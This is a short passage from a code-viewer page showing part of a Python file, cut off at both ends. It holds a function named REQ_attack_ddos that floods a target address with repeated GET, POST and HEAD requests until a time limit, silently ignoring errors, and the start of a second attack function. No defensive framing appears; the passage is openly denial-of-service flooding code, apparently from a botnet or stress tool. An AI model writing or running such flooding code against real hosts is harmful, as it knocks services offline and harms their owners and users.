(ip,secs)
| 490 | pass |
| 491 | |
| 492 | def REQ_attack_ddos(ip,secs): |
| 493 | while time.time() < secs: |
| 494 | |
| 495 | try: |
| 496 | requests.get(ip) |
| 497 | except: |
| 498 | try: |
| 499 | requests.post(ip) |
| 500 | except: |
| 501 | try: |
| 502 | requests.head(ip) |
| 503 | except: |
| 504 | pass |
| 505 | |
| 506 | def REQ_attack(ip,method,secs): |
| 507 | while time.time() < secs: |
nothing calls this directly
no outgoing calls
no test coverage detected